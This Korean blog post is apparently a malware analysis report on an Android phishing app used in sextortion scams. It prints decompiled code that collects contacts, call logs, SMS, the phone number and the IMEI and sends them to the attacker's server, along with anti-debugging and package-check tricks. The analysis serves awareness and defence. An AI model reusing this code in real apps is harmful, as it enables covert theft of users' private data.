1. 개요
디지털 환경이 발전할수록, 악성 앱과 피싱 앱은 그 기법을 점차 고도화하며 사용자들을 노리고 있다. 특히 스마트폰 사용이 일상화된 지금, 안드로이드 기기를 표적으로 한 악성 앱들이 빠르게 증가하고 있다. 이 포스팅에서는 이러한 악성 앱들이 어떻게 작동하며, 어떤 방식으로 사용자에게 위협을 가하는지 실제 사례와 함께 분석한다.
이 글을 통해 일상에서 자주 접할 수 있는 악성 앱의 흔적을 알아차리는 방법과, 안전하게 모바일 기기를 사용하는 팁을 제공하여 사용자의 정보 보안 의식을 높이는 데 도움을 주고자 한다.
요가앱(가칭)은 안드로이드 플랫폼에서 작동하는 스피어피싱을 목적으로 한 피싱 앱이다. 악성 앱 실행 시 단말의 전화번호, 통화기록, 위치정보, 사용자 연락처에 저장된 정보, 수발신 문자 목록 등을 수집하여 공격자의 서버(C&C)로 전송한다.
DISCLAIMER
이 분석은 특정 시점에서 관찰된 악성 행위에 대해 서술하고 있으며, 해당 앱의 전체 기능이나 미래에 발생할 수 있는 모든 변동 사항을 다루지 않습니다. 따라서 이후에 앱이 업데이트되어 새로운 악성 행위가 추가되거나, 다른 유사한 앱에서 유사한 악성 행위가 발견될 수 있습니다. 이 포스팅은 참고 자료로서 제공되는 것이며, 특정 앱의 악성 여부를 완전히 보증하거나 모든 가능성을 포괄하지 않음을 알려드립니다.
대상 | 순번 | 악성행위 분석 | 위험도 |
요가앱 (gggrpcep.*.ugytdlfsw) |
1 | 연락처 목록 전체 수집 및 유출 | 5 |
2 | 통화 기록 유출 | 5 | |
3 | 문자 송수신 기록 유출 | 5 | |
4 | 전화번호 유출 | 3 | |
5 | 단말 고유 식별 정보 유출(imei) | 3 |
2. 분석상세
2.1 정적 분석
2.1.1 권한 분석
앱이 요청하는 권한은 단말에서 수행하는 행위의 범위를 나타냄. ‘위험 권한’의 요청은 사용자의 개인 정보의 접근이나 단말 시스템의 주요 기능과 연관되어 있어, 악용될 경우 사용자의 보안에 위협이 될 수 있다. 권한의 선언만으로는 앱의 악성 행위 여부를 판단하기 어렵지만, 앱의 전반적인 행위와 결합하여 평가할 수 있는 지표임. 대상 앱에서 선언하는 권한과 설명은 다음과 같다.
No | 요청 권한 | 권한 설명 | 중요권한여부 |
1 | android.permission.READ_PHONE_NUMBERS | 대략적 위치정보 접근 | Y |
2 | android.permission.READ_CALL_LOG | 통화기록 접근 | Y |
3 | android.permission.INTERNET | 인터넷 통신 | N |
4 | android.permission.READ_SMS | SMS 기록 읽기 | Y |
5 | android.hardware.telephony | 단말 전화번호 정보 단말 | N |
6 | android.permission.READ_PHONE_STATE | 통화상태 수집 | N |
7 | android.permission.READ_CONTACTS | 연락처 수집 | Y |
2.1.2. 액티비티(Activity)
액티비티는 안드로이드 앱의 화면 구성 단위로, 사용자와 상호작용을 위한 인터페이스를 제공한다. 액티비티 분석은 앱의 기능적 구성요소와 사용자 인터페이스 설계를 파악할 수 있다. 예를 들어, 앱 내의 로그인 화면, 메인 메뉴, 설정 화면 등은 각각 별도의 액티비티로 구현됨. 악성 앱의 경우, 액티비티를 통해 사용자를 속이기 위한 화면을 제공하고 숨겨진 기능을 통해 악성 행위를 수행할 수 있다. 대상 앱에 선언된 액티비티는 다음과 같다.
No | 액티비티 | 비고 |
1 | com.service.*.App | 메인 액티비티 |
2.2. 동적 분석
대상 앱의 동적 분석 과정에서 사용자에 의한 직접 실행을 기반으로 하는 앱의 동작을 분석한다. 앱이 사용자의 실행으로 어떻게 구동되고, 사용자와 상호작용에 반응하는지 분석한다. 분석의 시작점은 사용자가 앱을 실행하는 순간으로 설정한다. 앱의 초기 로딩, 권한 요청, 주요 기능 실행 등을 어떻게 처리하는지 분석한다. 앱의 실행 흐름을 따라가면서, 네트워크 통신, 데이터 저장 및 처리 등 앱의 핵심 동작을 실시간으로 모니터링한다. 특히, 의심스러운 네트워크 활동, 민감한 정보의 무단 수집 및 전송, 비정상적 시스템 자원 사용 등의 행위를 식별한다.
2.1.1. 사용자 직접 실행
1) 앱 동작 주요 권한 요청
앱을 실행한 후에는 실행에 필요한 조건을 검사하고, 단말의 화면에 띄울 레이아웃을 설정한다. 설정한 후에는 단말의 안드로이드 버전(SDK)에 맞게 권한을 요청한다.
@Override // android.app.Activity
public void onCreate(Bundle bundle0) {
super.onCreate(bundle0);
this.껾겇겸긆곯ꨧ겧귺();
this.껾j꩜ꯑ괇굑ꮠ();
this.껾걋껣꯰ꪲꪩ귺꺅();
this.setContentView(0x7F060000);
WebView webView0 = (WebView)this.findViewById(0x7F050000);
this.c = webView0;
webView0.loadUrl("file:///android_asset/web_main.html");
this.c.setWebViewClient(new gfhb0.r08uiz.f86d3.b(this));
WebSettings webSettings0 = this.c.getSettings();
webSettings0.setJavaScriptEnabled(true);
this.c.addJavascriptInterface(new a(this), "injectedObject");
webSettings0.setDefaultTextEncodingName("utf-8");
webSettings0.setDisplayZoomControls(false);
Objects.requireNonNull(this.b);
if(c.c.i == null) {
c.c.h = String.format("http://%s:%d", c.c.e, ((int)10900));
c.c.i = String.format("http://%s:%d", c.c.e, ((int)8090));
}
new Thread(new a.c(this, 4)).start();
ArrayList arrayList0 = this.e();
if(arrayList0.size() > 0) {
this.requestPermissions(((String[])arrayList0.toArray(new String[0])), 0x3F3);
return;
}
this.g();
}
각각의 함수명은 난독화되어 있으며, 정상적인 코드 분석을 방해하고 실행 목적을 숨기려는 의도로 사용되었음을 확인하였다. 설치된 패키지 목록에서 패키지 정보를 수집하여, “SHA-1”로 서명된 전자서명값을 계산한다. 계산된 해쉬 값은 16진수 문자열로 변환되며 하드코딩된 문자열 “4E4735C86FE72F217FF23BAD8CC4807797C0C025”와 비교하여 그 이외의 해쉬값인 경우 finish() 함수를 실행하여 실행중인 앱을 종료한다. 해쉬값은 파일별로 고유한 값을 가지므로 특정 패키지만 설치를 허용하며 그 이외의 경우 애플리케이션 실행을 방지하는 기능을 수행한다.
public final void 껾j꩜ꯑ괇굑ꮠ() {
if(!this.getApplicationContext().getPackageName().equalsIgnoreCase("tfecpmsj.qfkuyebo.scxzlwj")) {
this.finish();
Process.killProcess(Process.myPid());
System.exit(1);
}
}
다음 함수에서는 단말에 설치된 패키지 목록을 수집하여 패키지명이 “tfecpmsj.qfkuyebo.scxzlwj”와 동일한 패키지가 존재하는지 여부를 검사함. 존재하지 않는다면 finish() 함수를 실행하여 실행중인 앱을 종료함. 분석 결과 대상 앱의 프로세스 식별자임을 확인함.
또한, 디버거 연결 상태 확인 함수(Debug.isDebuggerConnected)를 이용하여 현재 앱이 디버깅 상태인지 여부를 확인한다. 디버거가 연결된 경우 finish() 함수를 실행하여 실행중인 앱을 종료한다. 이는 실제 사용자가 아닌 분석 용도로 앱을 실행시켰을 때 분석이 불가하도록 종료하는 의도이다. 이후 분석 과정에서는 종료 로직을 우회하여 악성 행위를 분석하였다.
public final void 껾걋껣꯰ꪲꪩ귺꺅() {
if(Debug.isDebuggerConnected()) {
this.finish();
Process.killProcess(Process.myPid());
System.exit(1);
}
}
앱 경로 내 저장된 리소스를 로드하여 화면을 구성한다. 웹뷰의 자바스크립트 사용을 허용하고 새로운 스레드를 시작하여 앱 실행 흐름을 분기함. 저장된 web_main.html 파일은 다음과 같다.
@Override // android.app.Activity
public void onCreate(Bundle bundle0) {
super.onCreate(bundle0);
(..생략..)
WebView webView0 = (WebView)this.findViewById(0x7F050000);
this.c = webView0;
webView0.loadUrl("file:///android_asset/web_main.html");
this.c.setWebViewClient(new gfhb0.r08uiz.f86d3.b(this));
WebSettings webSettings0 = this.c.getSettings();
webSettings0.setJavaScriptEnabled(true);
this.c.addJavascriptInterface(new a(this), "injectedObject");
webSettings0.setDefaultTextEncodingName("utf-8");
webSettings0.setDisplayZoomControls(false);
Objects.requireNonNull(this.b);
if(c.c.i == null) {
c.c.h = String.format("http://%s:%d", c.c.e, ((int)10900));
c.c.i = String.format("http://%s:%d", c.c.e, ((int)8090));
}
(..생략..)
}
웹뷰 실행 이후 앱에서 단말의 자원에 접근하기 위한 권한을 요청함. 권한 요청 시 단말의 안드로이드 버전에 맞도록 문자열을 검사하여 요청하고 있으며, 요청하는 권한은 다음과 같음.
@Override // android.app.Activity
public void onRequestPermissionsResult(int i2, String[] strArr, int[] iArr) {
int i3 = 0;
for (int i4 = 0; i4 < iArr.length; i4++) {
if (iArr[i4] == 0) {
i3++;
if (strArr[i4].contains("READ_CALL_LOG")) {
new Thread(new a.c(this, 0)).start();
}
if (strArr[i4].contains("READ_CONTACTS")) {
new Thread(new a.c(this, 1)).start();
}
if (strArr[i4].contains("READ_SMS")) {
new Thread(new a.c(this, 2)).start();
}
}
}
if (i3 > 0) {
new Thread(new a.c(this, 3)).start();
}
if (this.f286a < 1) {
ArrayList<String> e2 = e();
if (e2.size() > 0) {
requestPermissions((String[]) e2.toArray(new String[0]), 1011);
}
}
this.f286a++;
}
요청 권한(문자열 포함) | 설명 | 비고 |
READ_CALL_LOG | 통화 기록 조회 | - |
READ_CONTACTS | 연락처 조회 | - |
READ_SMS | 문자 송수신 기록 조회 |
‘제조사’, ‘모델명’, ‘imei’, ‘단말 전화번호’, ‘배터리’ 등 단말 정보를 수집함. 수집한 정보는 공격자의 서버로 전송하기 위해 사전 구성한다.
public static void b(final f86d3 f86d3Var) {
//(...생략..)
c0.c cVar = new c0.c();
try {
cVar.g("imei", aVar2.f71a);
cVar.g("mobileNO", aVar2.f72b);
cVar.f("signal", 0);
cVar.f("battery", 0);
cVar.g("network", null);
cVar.g("networkProvider", aVar2.f73c);
cVar.g("token", aVar2.f74d);
cVar.g("appVersion", null);
} catch (c0.b e2) {
e2.printStackTrace();
}
try {
cVar.g("isRegister", Boolean.TRUE);
cVar.g("phoneVersion", Build.VERSION.RELEASE);
cVar.g("deviceModel", Build.MODEL);
cVar.g("deviceType", Build.BRAND);
App app = App.f182a;
try {
str = app.getPackageManager().getPackageInfo(app.getPackageName(), 0).versionName;
} catch (PackageManager.NameNotFoundException e3) {
e3.printStackTrace();
}
cVar.g("appVersion", str);
ArrayList<String> f2 = f86d3Var.f();
StringBuilder sb = new StringBuilder();
Iterator<String> it = f2.iterator();
if (it.hasNext()) {
while (true) {
sb.append((CharSequence) it.next());
if (!it.hasNext()) {
break;
}
sb.append((CharSequence) ",");
}
}
cVar.g("permissions", sb.toString());
} catch (c0.b e4) {
e4.printStackTrace();
}
수집하는 정보 | 설명 | 비고 |
IMEI | 단말 고유 식별 정보 | 중요정보 |
mobileNO | 전화번호 | 중요정보 |
networkProvider | 네트워크 제공자 | - |
token | 토큰 | - |
signal | 단말 신호 강도 | - |
battery | 배터리 상태 | - |
network | 네트워크 상태 | - |
appVersion | 앱 버전 | - |
isRegister | 등록상태 | - |
phoneVersion | 폰 버전 | - |
deviceModel | 디바이스 모델 | - |
deviceType | 디바이스 타입 | - |
수집한 정보는 공격자의 서버로 전송한다. 단말 정보를 저장하는 공격자의 서버 경로(‘/report/device’)를 확인한다
f86d3Var.f287b.c("/report/device", cVar, new c.InterfaceC0001c() { // from class: a.a
@Override // c.c.InterfaceC0001c
public final void a(c0.c cVar2) {
f86d3 f86d3Var2 = f86d3.this;
AtomicBoolean atomicBoolean2 = atomicBoolean;
Semaphore semaphore2 = semaphore;
int i2 = f86d3.f285d;
Objects.requireNonNull(f86d3Var2);
atomicBoolean2.set(cVar2 != null);
semaphore2.release();
if (cVar2 == null) {
return;
}
try {
b.a.f70e.f74d = cVar2.a("message").toString();
f86d3Var2.f287b.d();
} catch (c0.b e5) {
e5.printStackTrace();
}
}
});
위와 같은 과정으로 문자(SMS) 송수신 기록, 연락처(Contacts)의 정보도 동일하게 수집하며 수집하는 정보와 전송하는 경로는 다음과 같다. 동적 분석 결과 공격자의 서버로 수집한 정보를 전송하는 것을 확인한다.
수집한 정보 문자열을 HTTP Post 요청의 본문(body)에 추가하고 공격자의 서버로 전송한다. 식별된 공격자의 서버 정보는 다음과 같음. 현재(2024. 11.) 기준 공격 서버는 동작하지 않음.
단말의 통화기록에 접근하여 ‘imei’, ‘전체 통화 목록 개수’, ‘통화기록(통화시간, 일시, 번호, 수발신 여부)’ 등 데이터를 수집한다.
시간의 경우 유닉스 타임스탬프를 사용하고 있으며, 사람이 읽을 수 있도록 변환한 결과는 다음과 같다.
Unix Timestamp | 변환된 시간(GMT+9) | 비고 |
1705369934238 | 2024. 01. 16 10:52:14 | |
1705296739419 | 2024. 01. 15 02:32:19 |
단말에 저장된 통화기록과 비교했을 때 같은 정보인 것을 확인할 수 있다
이성의 사진, 동영상 등을 확인할 수 있는 기능을 제공하는 것이 아닌 앱 내 저장된 파일을 로드하는 것을 확인하였다. 이성의 사진이나 영상 등의 제공을 위한 어떠한 기능의 구현이나 코드는 존재하지 않으며, 악성 행위만을 수행하고 있다.
#피싱앱 대응, #피싱앱, #해킹앱, #몸캠피싱, #피싱앱분석, #피싱앱신고
'Report > Project' 카테고리의 다른 글
[악성앱 분석 보고서] 안드로이드 피싱앱 행위 분석 (초대코드 입력앱) (1) | 2024.11.19 |
---|---|
[악성앱 분석 보고서] 안드로이드 피싱앱 행위 분석 (8) | 2024.11.14 |
[Ban Logic, AVISPA] IoV환경에서의 사용자 인증 프로토콜정형화 분석 2 (0) | 2020.11.19 |
[Ban Logic, AVISPA] IoV환경에서의 사용자 인증 프로토콜정형화 분석 1 (0) | 2020.11.18 |